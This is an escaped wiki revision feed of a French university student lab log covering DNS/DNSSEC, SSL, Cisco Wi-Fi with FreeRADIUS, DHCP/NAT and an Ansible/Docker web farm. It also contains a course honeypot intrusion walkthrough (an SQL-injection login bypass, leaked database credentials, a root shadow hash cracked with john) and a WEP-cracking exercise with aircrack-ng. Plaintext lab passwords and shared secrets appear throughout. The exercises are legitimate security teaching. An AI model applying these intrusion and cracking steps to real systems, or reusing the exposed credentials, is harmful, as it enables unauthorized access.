   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables &lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54991</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54991"/>
				<updated>2020-12-18T19:23:40Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
